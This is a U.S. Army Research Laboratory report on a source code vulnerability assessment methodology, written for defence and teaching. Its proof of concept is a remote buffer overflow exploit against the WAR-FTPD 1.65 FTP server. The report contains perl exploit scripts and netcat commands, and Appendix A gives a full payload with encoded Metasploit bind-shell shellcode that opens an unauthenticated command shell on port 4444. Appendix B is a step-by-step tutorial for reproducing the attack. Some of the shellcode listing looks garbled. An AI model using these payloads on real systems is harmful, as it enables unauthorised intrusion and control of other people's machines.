NOTICES

Disclaimers

The findings in this report are not to be construed as an official Department of the Army position unless so designated by other authorized documents.

Citation of manufacturer’s or trade names does not constitute an official endorsement or approval of the use thereof.

Destroy this report when it is no longer needed. Do not return it to the originator.
Source Code Vulnerability Assessment Methodology

Diana Villa and Daniel Landin
Survivability/Lethality Analysis Directorate, ARL
## Title and Subtitle
Source Code Vulnerability Assessment Methodology

## Authors
Diana Villa and Daniel Landin

## Performing Organization Name(s) and Address(es)
U.S. Army Research Laboratory
Information & Electronic Protection Division
Survivability/Lethality Analysis Directorate
ATTN: AMSRD-ARL-SL-EI
White Sands Missile Range, NM 8802-5513

## Distribution/Availability Statement
Approved for public release; distribution is unlimited.

## Abstract
Coding errors and security vulnerabilities are routinely introduced into application source code for both malicious and non-malicious purposes. The U.S. Army Research Laboratory (ARL) Survivability/Lethality Analysis Directorate (SLAD), Information and Electronic Protection Division (IEPD) has developed a security-focused source Code Analysis Methodology (CAM) to identify, exploit, and mitigate vulnerabilities found in software developed for use in U.S. Army systems. Because of the classified nature of the results obtained via the CAM on actual systems, it is not possible to present these results in an unclassified forum. Instead, the work presented here provides a proof-of-concept of the CAM and exploit development process by generating an exploit for a buffer overflow vulnerability found in a free software application.

A buffer overflow vulnerability presents a serious threat to the security of a software system and provides one example of the coding errors and security issues that the CAM is designed to detect, exploit, and mitigate against. The work described here provides an example of the process that is followed to ultimately determine the appropriate mitigations and countermeasures that will protect and enhance Soldier and system survivability via the CAM.

## Subject Terms
Code analysis, exploit development
Contents

List of Figures iv

Summary 1

1. Introduction/Background 3
   1.1 Source Code Analysis ................................................................. 3
   1.2 ARL/SLAD Code Analysis Methodology (CAM) ............................. 3
   1.3 Buffer Overflows ........................................................................ 4

2. Experiment/Calculations 7

3. Results and Discussion 9

4. Conclusions 11

References 13

Appendix A. Final Payload 15

Appendix B. Tutorial: Remote Stack-based Buffer Overflow in Windows 17
   overflow1.pl ......................................................................................... 18
   overflow2.pl ......................................................................................... 19
   overflow3.pl ......................................................................................... 20
   overflow4.pl ......................................................................................... 21

Acronyms 26

Distribution List 27
List of Figures

Figure 1. Example of buffer overflow in C code. .................................................................4
Figure 2. Stack frame for function described in figure 1. .....................................................5
Figure 3. Stack frame for function described in figure 1 after buffer overflow. ..................6
Figure 4. Contents of overflow1.pl,a perl script that generates a long user name request. ...7
Figure 5. An example of sending a long user name request to target application and resulting
termination of warftp server. ...............................................................................................8
Figure 6. Partial output provided by WinDBG in response to program termination due to
buffer overflow. ..................................................................................................................8
Figure 7. Active connections on target machine before final exploit ....................................10
Figure 8. Sending the final exploit to the target application from the attacker’s perspective. ...10
Figure 9. Active connections on target machine after final exploit .....................................11
Figure 10. Connection established from attacker machine to target machine. .....................11
Summary

Coding errors and security vulnerabilities are routinely introduced into application source code for both malicious and non-malicious purposes. Source code analysis can be used throughout a software system’s lifecycle to understand and ensure proper program behavior, as well as to aid in the identification of coding errors and security vulnerabilities. The U.S. Army Research Laboratory’s (ARL) Survivability/Lethality Analysis Directorate (SLAD), Information and Electronic Protection Division (IEPD) has developed a security-focused source Code Analysis Methodology (CAM) to identify, exploit, and mitigate vulnerabilities found in software developed for use in U.S. Army systems.

Among the myriad of software security errors that can be introduced into program source code is an error condition known as a buffer overflow, which was first recognized within the C programming language as early as 1973. A buffer overflow is a coding error in which more data is copied into a buffer than the buffer has the capacity to hold. As a result, it is possible to execute arbitrary code on the machine and effectively gain control over the entire system. Because of the classified nature of the results obtained via the ARL/SLAD CAM on actual systems, it is not possible to present these results in an unclassified forum. Instead, the work presented here provides a proof-of-concept of the ARL/SLAD CAM and exploit development process by generating an exploit for a known buffer overflow vulnerability found in the War File Transfer Protocol (FTP) daemon (warftp) application. The warftp application is a free software application for Windows environments originally released in 1996. Via the ARL/SLAD CAM exploit development process, a remote attack is carried out against a target machine running the warftp application in which no physical access is required to the target machine; the attack is carried out over the network. An exploit is generated, with the help of the Metasploit Framework, that establishes an “always listening” connection on the target machine. Once the “always listening” connection is established, it is possible to log in to the target machine from any other machine that can reach it over the network, without prior authentication. Using this connection, an attacker can perform any operation allowed using the permissions assigned to the warftp application, e.g., creating and deleting files, and adding new user accounts to the system.

A buffer overflow vulnerability presents a serious threat to the security of a software system and provides one example of the coding errors and security issues that the ARL/SLAD CAM is designed to detect, exploit, and mitigate against. The work described here provides an example of the process that is followed to ultimately determine the appropriate mitigations and countermeasures that will protect and enhance Soldier and system survivability via the ARL/SLAD CAM.
INTENTIONALLY LEFT BLANK.
1. Introduction/Background

Program source code remains the only way in which the meaning of a software system can be described with certainty (1). Although different models and representations of a software system typically exist, the application source code represents the true description of the application’s functionality. When studying the behavior of an application, analysis of its source code is essential to obtaining a comprehensive understanding of its implementation. Whether intentionally or unintentionally, coding errors and security vulnerabilities are routinely introduced into application source code. Source code analysis can be used throughout a software system’s lifecycle to understand and ensure proper program behavior, as well as to aid in the identification of coding errors and security vulnerabilities.

1.1 Source Code Analysis

Source code analysis is typically divided into two categories: static and dynamic. Static source code analysis involves analyzing the code that comprises a software system without its physical execution. The analyst examines different program constructs and data flow, paying special attention to source code components such as function names, variable definitions, and data structures (2). Dynamic source code analysis consists of analyzing program behavior before, during, and after execution. The program under investigation is subjected to unexpected inputs and abnormal conditions, which allows the analyst to compare the observed behavior of the program with the expected program behavior (3).

Source code analysis can be further classified according to the objective of the analysis. “Best practices” specific source code analysis focuses on ensuring program code conforms to organizational coding guidelines and specifications (4). Security-focused code analysis, on the other hand, concentrates on ensuring the security of a software system by identifying potential vulnerabilities within the application source code itself. Potential vulnerabilities can be identified and classified according to a taxonomy of source code security errors for further study (5).

1.2 ARL/SLAD Code Analysis Methodology (CAM)

The U.S. Army Research Laboratory’s (ARL) Survivability/Lethality Analysis Directorate (SLAD), Information and Electronic Protection Division (IEPD) has developed its own source CAM that focuses on software security (6). The CAM consists of four steps: requirements definition and code familiarization, susceptibility analysis, vulnerability confirmation, and recommendations and mitigation. During requirements definition and code familiarization, the scope of the analysis is defined, source code and related background information is collected and reviewed, and necessary tools are developed and/or acquired. Susceptibility analysis is then conducted via automated, manual, or semi-automated means and is a detailed analysis whose
goal is to uncover susceptibilities in the source code. Vulnerability confirmation is a detailed analysis and verification of the identified susceptibilities, which confirm or deny the presence of vulnerabilities within the source code. At this step, proof-of-concept programs and/or exploits may be developed to further demonstrate the identified vulnerabilities. Finally, recommendations, mitigation strategies, and countermeasures are proposed for the verified software vulnerabilities. The ARL/SLAD CAM has been successfully applied in conducting vulnerability assessments of U.S. Army programs in an effort to improve Soldier and system survivability. Additionally, the ARL/SLAD CAM was effective in analyzing data provided by the U.S. Army Computational and Information Sciences Directorate’s (CISD) Center for Intrusion Detection Monitoring and Protection (CIMP) to reverse engineer tools captured by their custom intrusion detection system (IDS).

1.3 Buffer Overflows

Among the myriad of software security errors that can be introduced into program source code is an error condition known as a buffer overflow, which was first recognized within the C programming language as early as 1973 (7). A buffer overflow is a coding error in which more data are written into a buffer than the buffer has capacity to hold. Consequently, the excess data spill over into areas of memory surrounding the buffer and cause the program to crash. This is possible because there is no inherent bounds-checking on buffers in the C and C++ programming language (8). Figure 1 illustrates a buffer overflow within program source code written in C (9).

```
char buffer[128];
strcpy(buffer, argv[1]);
```

Figure 1. Example of buffer overflow in C code.

The C code in figure 1 allocates a buffer of 128 bytes and then uses the C library function strcpy to copy a user-supplied input value, argv[1], into the allocated buffer. When the user-supplied input value is greater than 128 bytes, the buffer becomes full and the excess data will overwrite adjacent memory areas, causing the program to experience a segmentation fault and terminate with a core dump (7). It is possible to analyze the results of the program core dump to write an exploit that allows an attacker to execute arbitrary code on the machine, effectively gaining control over the entire system (10).

Note that buffer overflows are classified into two types: stack and heap. Stack-based buffer overflows alter data in the process stack, while heap-based buffer overflow attacks involve dynamically allocated memory, i.e., memory allocated during run time by an application (7). This work concentrates on exploiting stack-based buffer overflows.
Stack-based Buffer Overflows

The process memory map contains all the data, instructions, and control information necessary to execute an application, and is created and managed by the operating system for each executing process. A program’s stack is part of the overall process memory map (9). A stack is a last-in-first-out (LIFO) data structure used by an operating system to make the use of functions within a program more efficient (8). Functions alter the flow of control of a program to allow an instruction or group of instructions to execute independently of the rest of the program. A stack is used as a means to efficiently return control to the original function caller once a function has completed execution. A program’s stack temporarily holds a function’s parameters and local variables, as well as the return address for the next instruction to be executed. Note that this is stored in the enhanced instruction pointer (EIP) register (7). The extended stack pointer (ESP) register points to the top of the stack while the extended base pointer (EBP) register points to the base of the stack. Figure 2 below illustrates the stack frame for the function described in figure 1.

Figure 2. Stack frame for function described in figure 1.

Figure 3 illustrates the stack frame for the same function after a buffer overflow occurs in which an excessively long string of A’s is passed as input to the strcpy function.
Note that in addition to the higher areas of stack memory, the saved EIP has been overwritten as well. Consequently, the application no longer understands how to return control to the function caller and the application terminates. It is possible, however, to write past the buffer boundary in a controlled way such that the value for EIP can be overwritten with an arbitrary value. In doing so, an attacker can execute arbitrary code on the target machine and take control over program execution. Section 2 further illustrates this process with an example.

Although the ARL/SLAD CAM was not used to identify the buffer overflow vulnerability in this work, it is important to note that the methodology is designed and has been proven to successfully identify security issues within application source code. Because the ARL/SLAD CAM is applied to U.S. Army programs, the vulnerabilities discovered and exploits developed become classified. For this reason, the results cannot be discussed in an unclassified forum. Instead, the methodology is applied to a free software application whose vulnerability is widely known and has been exploited in the past. This work provides a proof-of-concept for the ARL/SLAD CAM and exploit development process and does not detail an actual implementation of the ARL/SLAD CAM. However, a similar process has been employed to identify, exploit, and mitigate vulnerabilities discovered in U.S. Army programs.

Buffer overflows present a real threat to the security of a software system and comprise an active area of research working towards their identification and mitigation (11). In this work, a stack-based buffer overflow vulnerability in a popular File Transfer Protocol (FTP) application is remotely exploited, i.e., the attack occurs over the network eliminating the need for physical access to the target machine.

The following sections detail the process that was followed in order to compose the final attack payload and describe the result of launching the final exploit on the target system.
2. Experiment/Calculations

For this experiment, a buffer overflow vulnerability is exploited in order to establish an “always listening” connection on a target machine. In this way, an attacker can log in to the target machine, without the use of authentication, using a specified port at any time. The following section outlines the process that was followed and the tools that were used in order to compose the attack payload. Appendix B, however, contains a more detailed, step-by-step explanation of the nuances involved in the payload generation for this particular exploit.

War FTP daemon (warftpd) is a free FTP server for Windows© environments originally released in 1996 that can be used freely for either private or commercial purposes, and with some restrictions, for government agencies and affiliated businesses/corporations depending on the version being employed (12). The warftpd server is assigned to service port 21, as are all FTP connections (13).

The warftpd server version 1.65, in particular, is vulnerable to a stack-based buffer overflow attack. It fails to properly perform input validation on the user-supplied USER name value before copying it to an insufficiently sized buffer (14). To demonstrate the vulnerability, an arbitrarily long user name is composed via a perl (15) script consisting of 1000 A’s, as shown in figure 4.

```
$userString = 'USER ' . 'A' x 1000;
payload = $userString . "\r\n";
print $payload;
```

Figure 4. Contents of overflow1.pl,a perl script that generates a long user name request.

This long user name request is then sent to the warftpd server using netcat, a networking utility that reads and writes data across a network connection using the Transmission Control Protocol/Internet Protocol (TCP/IP) (16). Figure 5 shows the commands used to send the long user name request to the target application and the resulting termination of the warftpd server. Note that for this experiment, the target application is found on a machine whose Internet protocol (IP) address is 192.168.88.129 via port 21.
Figure 5. An example of sending a long user name request to target application and resulting termination of warftpd server.

Using Windows Debugger (WinDBG), an application debugger for Windows environments (17), it is possible to analyze the contents of the applications process memory map after it has terminated. Figure 6 shows a section of the output provided by WinDBG as a result of the program termination caused by the buffer overflow.

Figure 6. Partial output provided by WinDBG in response to program termination due to buffer overflow.

Of importance here is that the value of the EIP has been overwritten with A’s; more specifically the hexadecimal representation for the uppercase letter A, 0x41.

In order to overwrite the EIP with an arbitrary value, the Metasploit framework will be employed. The Metasploit framework consists of tools, libraries, modules, and user interfaces used to create security tools and exploits (18). Using Metasploit’s patternCreate() and patternOffset() modules, it is possible to create a non-repeating pattern of arbitrary length and search for a unique offset within the generated pattern. By composing a string of non-repeating characters, sending it as input to warftpd, and monitoring the results on WinDBG, the offset from the beginning of the buffer to the EIP is calculated. Consequently, the EIP is determined to be 485 bytes from the beginning of the buffer.

Once the offset to the EIP is calculated, it becomes necessary to determine the desired return address to carry out the attack. Because the Windows operating system allows for the sharing of dynamically linked libraries (DLL) across processes, it loads the DLLs in the same location for different processes in the same version of the operating system (9). Using this information, the win32.dll library is chosen for further analysis. Next, msfpescan(), another Metasploit module that scans a DLL for instructions of interest, is used to scan the win32.dll file for jumps to ESP,
i.e., an instruction that causes the program to read data from the top of the stack. The top of the
stack will contain the attack payload, i.e., the code that will be executed in order to establish the
“always listening” connection on the target machine. The msfpecscan() module returns two
addresses for instructions that read data from the top of the stack, 0x77e14c29 and 0x77e3c256.
0x77e14c29 is arbitrarily chosen as the address that will replace the EIP in the attack payload for
this exploit.

The final section of the attack payload is the shellcode that will establish the “always listening”
connection on the target machine. Shellcode is a set of instructions injected and then executed
by an exploited program. Because it is used to directly manipulate both registers and the overall
program function, it is written in hexadecimal opcodes (8). The Metasploit framework provides
the functionality of automatically generating shellcode depending on the user’s input parameters
via its msfweb() interface. Accordingly, it was used to generate the shellcode to establish an
“always listening” connection on port 4444 on the target machine. Appendix A contains the
final payload generated to exploit the buffer overflow vulnerability in the warftpd application.
Note that the final payload is padded with a few No Operations (NOPs), which are instructions
that delay execution for a period of time, in order to ensure the shellcode executes correctly (8).
Additionally, the address that is used to replace the value of the EIP is displayed in little endian
order due to the architecture of the target machine (19).

The following section describes the result of sending the final payload to the target application.

3. Results and Discussion

Before executing the final exploit, it is important to verify the active ports on the target machine
using the netstat tool. Netstat is a command-line tool that displays incoming and outgoing
network connections, routing tables, and network interface statistics on Unix, Unix-like, and
Windows-based environments (20). Recall that the shellcode generated with Metasploit
establishes an “always listening” connection via port 4444. Therefore, it is important to ensure
the port is not already in use to verify the final exploit is successful. Figure 7 displays the active
connections on the target machine before launching the final exploit.
Note that port 4444 is not yet active on the target machine. Figure 8 shows the commands used to send the final exploit to the target application and the resulting termination of the warftpd server, as seen from the attacker’s perspective.

```
[root@localhost diana]# perl overflow4.pl | nc 192.168.88.129 21
220- Jgaa’s Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
331 User name okay, Need password.
[root@localhost diana]#
```

Figure 8. Sending the final exploit to the target application from the attacker’s perspective.

Once again, the `netstat` command is used on the target machine to verify the active connections, as illustrated in figure 9. Note that an active, listening TCP connection on port 4444 has now been established.
Once the “always listening” connection is established, it is possible to log in to the target machine from any other machine that can reach it over the network, without prior authentication. Figure 10 illustrates a connection being established to the target machine, from the attacker machine, via the newly activated port 4444 using the netcat command.

```
[root@localhost diana]# nc 192.168.88.129 4444
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\Program Files\War-ftpd>
```

Using this connection, an attacker can perform any operation allowed using the permissions assigned to the warftpd application, e.g., creating and deleting files, and adding new user accounts to the system. This illustrates the danger that a security vulnerability, such as a buffer overflow, can pose to a software system when exploited.

### 4. Conclusions

The ARL/SLAD CAM is a security-focused, source code analysis methodology designed to identify and exploit vulnerabilities within U.S. Army applications. Although the ARL/SLAD CAM has been successfully applied on a number of U.S. Army systems, it was not used to identify the buffer overflow vulnerability being exploited in this work. Because of the nature of the analyzed programs and the results obtained via the ARL/SLAD CAM, it is not possible to describe the results of an implementation of the ARL/SLAD CAM on an actual U.S. Army program in an unclassified forum. Those results are typically classified and must be treated as
such. Instead, this work presents a proof-of-concept of the ARL/SLAD CAM and exploit development methodology by detailing the process of generating an exploit for a buffer overflow vulnerability found in a free software application, warftpd. It is important to note, however, that a similar process has been followed to identify, exploit, and mitigate vulnerabilities found in U.S. Army programs.

A buffer overflow is an error condition in which more data is copied into a buffer than the buffer has the capacity to hold. As a result, it is possible to execute arbitrary code on the machine and effectively gain control over the entire system. Through the use of Metasploit, a toolkit used to generate security tools and exploits, a final payload is generated that establishes an “always listening” connection on a target machine. This connection can then be used as a means to gain unauthenticated access and execute arbitrary commands on the target system.

Buffer overflows present a serious security threat to any application developed using a language with no inherent bounds checking, such as C and C++. The ARL/SLAD CAM provides a framework with which to identify and exploit vulnerabilities in U.S. Army applications of interest. In doing so, the ARL/SLAD CAM facilitates the determination of appropriate mitigations and countermeasures to “ultimately protect and enhance Soldier and system survivability” (6).
References


Appendix A. Final Payload

This appendix includes the contents of the overflow4.pl file.

```plaintext
$userString = 'USER ';
$aString = 'A' x 485;
$returnAddress = "\x29\x4c\xe1\x77";
$noOps = "\x90" x 4;

# win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com

$shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xff\xff\xff\xff\x49\x49\x49\x49\x49\x49\x49\x49";
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49";
"\x58\x50\x50\x42\x31\x41\x42\x6b\x42\x41\x58\x42\x32\x42\x41\x32";
"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x7a\x49\x4b\x4c\x43";
"\x5a\x6a\x4b\x62\x6d\x79\x78\x78\x79\x6b\x4f\x79\x6f\x79\x35";
"\x30\x4c\x4b\x30\x6c\x61\x34\x41\x34\x4e\x6b\x37\x35\x77\x4c\x6c";
"\x4b\x43\x4c\x64\x45\x52\x58\x37\x71\x38\x6f\x64\x6b\x72\x6f\x76";
"\x78\x6e\x6b\x63\x6f\x51\x30\x55\x51\x4a\x4b\x30\x49\x6c\x4b\x30";
"\x34\x4c\x4b\x47\x71\x7a\x4e\x77\x41\x4b\x70\x4e\x79\x4e\x4c\x4c";
"\x44\x59\x50\x62\x54\x54\x47\x78\x41\x7a\x6a\x36\x6d\x63\x31\x4f";
"\x32\x6a\x44\x6c\x34\x45\x6b\x32\x74\x47\x54\x75\x70\x75\x68";
"\x65\x4c\x4b\x63\x6f\x4f\x57\x5a\x61\x71\x7a\x4b\x32\x46\x6c\x4b\x76";
"\x6c\x62\x66\x6e\x6b\x73\x6f\x45\x4c\x35\x51\x6a\x4b\x56\x63\x64";
"\x6c\x62\x66\x6d\x59\x62\x4c\x35\x74\x77\x6c\x61\x39\x53\x36";
"\x51\x4b\x6b\x33\x54\x6c\x4b\x53\x73\x66\x50\x4c\x4b\x63\x70\x34";
"\x4c\x6e\x6b\x50\x70\x55\x4c\x6e\x4d\x6c\x4b\x57\x30\x67\x78\x71";
"\x4e\x63\x58\x6c\x4e\x30\x4e\x54\x4e\x78\x6c\x30\x50\x6b\x4f\x7a";
"\x76\x55\x36\x30\x53\x61\x76\x45\x38\x76\x53\x37\x42\x31\x78\x53";
"\x47\x73\x43\x37\x42\x43\x6f\x70\x54\x4b\x4f\x6a\x70\x31\x78\x38";
"\x4b\x4a\x4d\x6b\x4c\x57\x4b\x32\x70\x4b\x4f\x6b\x66\x41\x4f\x66";
"\x49\x5a\x45\x50\x70\x66\x4e\x61\x58\x6d\x67\x78\x65\x52\x51\x45\x33";
"\x5a\x44\x42\x4d\x6f\x6a\x70\x73\x58\x68\x59\x55\x59\x4c\x35\x66";
"\x4d\x66\x37\x66\x4f\x6b\x66\x50\x53\x42\x73\x31\x43\x56\x33\x53";
"\x63\x72\x63\x43\x41\x53\x62\x73\x69\x6f\x6e\x30\x32\x46\x30";
"\x68\x64\x51\x31\x44\x62\x46\x66\x33\x69\x78\x61\x4c\x55\x55";
"\x38\x4f\x54\x77\x6a\x72\x50\x4f\x3f\x73\x67\x79\x6f\x66\x73";
"\x5a\x5e\x70\x32\x71\x52\x75\x79\x6f\x7a\x70\x50\x68\x4d\x74\x6e";
"\x4d\x66\x4e\x4a\x49\x30\x57\x4b\x4f\x4e\x36\x72\x73\x75\x59";
"\x6f\x6e\x30\x43\x58\x79\x75\x67\x39\x4e\x66\x53\x79\x55\x67\x6b";
"\x4f\x4b\x66\x32\x70\x56\x34\x53\x64\x61\x45\x4b\x4f\x7a\x70\x5a";
"\x33\x30\x68\x4b\x57\x34\x39\x4a\x66\x42\x59\x61\x47\x6b\x4f\x7a";
"\x76\x52\x75\x79\x6f\x7a\x70\x62\x46\x73\x5a\x42\x44\x63\x56\x33";
"\x58\x50\x63\x70\x6d\x6c\x49\x4b\x55\x53\x5a\x72\x70\x70\x59\x66";
"\x49\x5a\x6c\x6d\x59\x6d\x37\x30\x6a\x57\x34\x4f\x79\x69\x72\x56";
"\x51\x69\x50\x54\x4a\x53\x6e\x4a\x59\x6e\x50\x42\x54\x6d\x4b\x4e\x42";
"\x62\x76\x4c\x4f\x63\x4e\x6d\x63\x4a\x56\x58\x6e\x4b\x4e\x4b\x6e";
"\x4b\x43\x58\x71\x62\x4b\x4e\x6e\x53\x45\x4f\x59\x6f\x73\x45\x50";
"\x44\x4b\x4f\x4e\x4e\x33\x6b\x36\x73\x53\x62\x50\x51\x76\x31\x33";
"\x61\x30\x6a\x33\x31\x32\x71\x70\x51\x61\x45\x62\x71\x69\x6f\x6a";
"\x70\x45\x38\x6e\x4d\x6e\x39\x46\x65\x7a\x6e\x36\x33\x79\x6f\x6b".
```
$payload = $userString . $aString . $returnAddress . $noOps . $shellcode . "
";
print $payload;
Appendix B. Tutorial: Remote Stack-based Buffer Overflow in Windows

This tutorial in this appendix has been adapted from BlackHat 2007: The Exploit Laboratory, Las Vegas, NV by Diana Villa, ARL/SLAD Code Analysis/Exploit Development Team.

In this tutorial, we will be exploiting a buffer overflow vulnerability found in the get username request in warftpd 1.65, an FTP server for Windows 95 and NT. We will be monitoring our progress using the WinDBG 6.8.4 Windows debugger.

Double-click on the WarFTP Daemon icon on the desktop to start the server.

Click on the Online button to make the server go online.

Double-click on the WinDBG icon on the Desktop.

Press F6 to open the Attach to Process dialog box. Find the war-ftpd.exe process, select it, and click OK.

Type gh in the WinDBG command line and press Enter.
We are now ready to launch and monitor our first exploit.

Note: Ensure that any firewall found on your system is disabled.

**overflow1.pl**

Generate a long USER request (i.e., USER AAAA….AAAA) and send it to warftpd via port 21 by piping output of *overflow1.pl* to netcat. This crashes the warftpd server.

```
perl overflow1.pl | nc ip-of-victim 21
```

The result should look something like the following on your attacker screen:

```
[root@localhost diana]# perl overflow1.pl | nc 192.168.88.129 21
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready
220 Please enter your user name.
331 User name okay, Need password.
[root@localhost diana]#
```

On your victim screen, WinDBG should contain a message similar to the following:

```
0:006> gh
(120.378): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000013 ecx=00000001 edx=00000000 esi=7c4f5594 edi=007f465c
eip=41414141 esp=0098fd98 ebp=0098fdf0 iopl=0
nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000
efl=00010216
41414141 ??
```

Notice that we have successfully overwriten the value of EIP.

Type `dd esp` in the WinDBG command line to analyze the contents of stack memory after our exploit.
We have also overwritten the contents of stack memory as well. This means that we can use this area of memory to store our shellcode.

Close WinDBG. (This should also close the warftpd dialogue box.)

Now, let’s try to find the distance needed to overwrite EIP with a return address of our choice.

overflow2.pl

Launch the warftpd server again and re-attach it to WinDBG. Don’t forget to type gh in the WinDBG command-line.

Generate a long USER request that contains a non-repeating pattern using Metasploit’s PatternCreate() module and send it to warftpd via port 21 by piping the output of overflow2.pl to netcat. This crashes the warftpd server.

perl overflow2.pl | nc ip-of-victim 21

The result should look identical to the result of overflow1.pl on your attacker screen.

However, you should see a message similar to the following in WinDBG on your victim screen.

EIP has been overwritten with a unique pattern. To find the distance to the EIP, use Metasploit’s patternOffset.pl module to find the position of this pattern within the non-repeating pattern we used in our exploit.

[root@localhost sdk]# perl patternOffset.pl 0x32714131 1000 485

This tells us that the EIP is overwritten after 485 bytes in our payload. Now that we know how to overwrite the EIP, we need to figure out what our desired return address should be.

We’ll follow the same methodology as the previous tutorial and scan a Windows DLL that is used by warftpd for jumps to ESP. Note that ESP points to the area in stack memory that will contain our shellcode. WinDBG displays a list of Windows DLLs that are loaded along with the process when you first attach the process to WinDBG.
In this case, we’re going to scan `user32.dll`.

```
[root@localhost framework-2.7]# ./msfpescan -f user32.dll -j esp
0x77e14c29   jmp esp
0x77e3c256   jmp esp
0x77e56f43   push esp
```

Pick one of the addresses that is returned by the scan as the address you will use to replace the EIP.

Close WinDBG. (This should also close the warftpd dialogue box.)

Now, let’s see if we can successfully overwrite the EIP with our desired return address.

**overflow3.pl**

Launch the warftpd server again and re-attach it to WinDBG. Don’t forget to type `gh` in the WinDBG command-line.

Generate a long USER request that contains 485 A’s followed by our desired return address. Additionally, we’ll append some break points followed by a small noop sled and more A’s to check our progress and ensure we have enough space for our shellcode. Send this payload to warftpd via port 21 by piping the output of `overflow3.pl` to netcat. This crashes the warftpd server.

```
perl overflow3.pl | nc ip-of-victim 21
```
The result should look identical to the result of overflow3.pl on your attacker screen.

However, you should see a message similar to the following in WinDBG on your victim screen.

```
0:006> gh
(2e8.300): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000113 ecx=00000259 edx=00000001 esi=7c4f5594 edi=007f465c
eip=0098ff4 esp=0098fd98 ebp=0098fdf0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206
0098ff4 2020            and     byte ptr [eax],ah          ds:0023:00000001=??
```

```
0:006> dd esp
0098fd98  90909090 41414141 41414141 41414141
0098fda8  41414141 41414141 41414141 41414141
0098fde8  41414141 41414141 41414141 41414141
0098fdd8  41414141 41414141 41414141 41414141
0098fde8  41414141 41414141 41414141 41414141
0098fde8  41414141 41414141 41414141 41414141
0098fde8  41414141 41414141 41414141 41414141
0098fde8  41414141 41414141 41414141 41414141
0098fde8  41414141 41414141 41414141 41414141
```

Notice that ESP is pointing directly at our noop sled. However, if you look at esp-10 (portion of memory preceding that pointed to by ESP), you can see the full payload starting with the end of the initial 485 A’s, the EIP that is now overwritten with our desired return address, and the break points we inserted.

Close WinDBG. (This should also close the warftpd dialogue box.)

Now that we have verified that we can successfully overwrite our EIP, we will insert our shellcode into our payload and launch our final exploit.

**overflow4.pl**

Our final exploit will overwrite EIP to point to the location of our shellcode, which will bind a command prompt to port 4444 on our victim machine. Note that the Metasploit framework version 2.7 was used to generate our shellcode, and the specific steps that were followed can be found at the end of this tutorial.

Our final exploit generates a long USER request that contains 485 A’s followed by our desired return address, a small noop sled, and the shellcode.

Before sending this payload to the warftpd server, verify the active ports on your victim using the `netstat -an` command. Ensure that port 4444 is not already open or in use.
Once you have verified the active ports on your victim, you are ready to send your exploit.

Launch the warftpd server. No need to reattach it to WinDBG since we have a pretty good idea of what is going to happen.

Send this payload to warftpd via port 21 by piping the output of `overflow4.pl` to netcat. This crashes the warftpd server.

```
perl overflow4.pl | nc ip-of-victim 21
```

The result should look identical to the result of `overflow3.pl` on your attacker screen. On your victim screen, however, the warftpd screen should have closed.

Run the `netstat –an` command to verify that a new port 4444 has been opened.

```
[root@localhost diana]# nc 192.168.88.129 4444
```

On your attacker machine, you can now establish a connection to the victim via port 4444 using netcat.

```
[root@localhost diana]# nc 192.168.88.129 4444
```
Our remote Windows exploit works!

You can verify that a connection has been established on your victim machine using the `netstat -an` command.

```
[3A] Command Prompt

G:\>netstat -an
Active Connections
   Proto  Local Address          Foreign Address State
   TCP    0.0.0.0:22             0.0.0.0:0        LISTENING
   TCP    0.0.0.0:135            0.0.0.0:0        LISTENING
   TCP    0.0.0.0:445            0.0.0.0:0        LISTENING
   TCP    0.0.0.0:1025           0.0.0.0:0        LISTENING
   TCP    0.0.0.0:1022           0.0.0.0:0        LISTENING
   TCP    0.0.0.0:2000           0.0.0.0:0        LISTENING
   TCP    0.0.0.0:4444           0.0.0.0:0        LISTENING
   TCP    192.168.88.129:2137   192.168.88.1:32805 ESTABLISHED
   UDP    0.0.0.0:1023           *:*             *:
   UDP    0.0.0.0:445            *:*             *:
   UDP    0.0.0.0:1026           *:*             *:
   UDP    192.168.88.129:137    *:*             *:
   UDP    192.168.88.129:138    *:*             *:
   UDP    192.168.88.129:500    *:*             *:

G:\>
```

To generate the shellcode:

Open Metasploit using the `msfweb` command.

```
[root@localhost framework-2.7]# ./msfweb
+----=[ Metasploit Framework Web Interface (127.0.0.1:55555)
Open a Web browser with the specified url, http://127.0.0.1:55555.
```
Once Metasploit opens, click on Payloads. Filter Modules by os::win32. Select Windows bind shell.

Select Alpha2 encoder (towards the bottom of the screen); everything else remains default. Note that this binds the shell to port 4444. Select Generate Payload to generate the shellcode.
Copy the generated shellcode into your script.
**Acronyms**

<table>
<thead>
<tr>
<th>Acronym</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>ARL</td>
<td>U.S. Army Research Laboratory</td>
</tr>
<tr>
<td>CAM</td>
<td>Code Analysis Methodology</td>
</tr>
<tr>
<td>CIMP</td>
<td>Center for Intrusion Detection Monitoring and Protection</td>
</tr>
<tr>
<td>CISD</td>
<td>Computational and Information Sciences Directorate</td>
</tr>
<tr>
<td>DLL</td>
<td>dynamically linked libraries</td>
</tr>
<tr>
<td>EBP</td>
<td>extended base pointer</td>
</tr>
<tr>
<td>EIP</td>
<td>enhanced instruction pointer</td>
</tr>
<tr>
<td>ESP</td>
<td>extended stack</td>
</tr>
<tr>
<td>FTP</td>
<td>File Transfer Protocol</td>
</tr>
<tr>
<td>IDS</td>
<td>intrusion detection system</td>
</tr>
<tr>
<td>IEPD</td>
<td>Information and Electronic Protection Division</td>
</tr>
<tr>
<td>IP</td>
<td>Internet protocol</td>
</tr>
<tr>
<td>LIFO</td>
<td>last-in-first-out</td>
</tr>
<tr>
<td>NOPs</td>
<td>No Operations</td>
</tr>
<tr>
<td>SLAD</td>
<td>Survivability/Lethality Analysis Directorate</td>
</tr>
<tr>
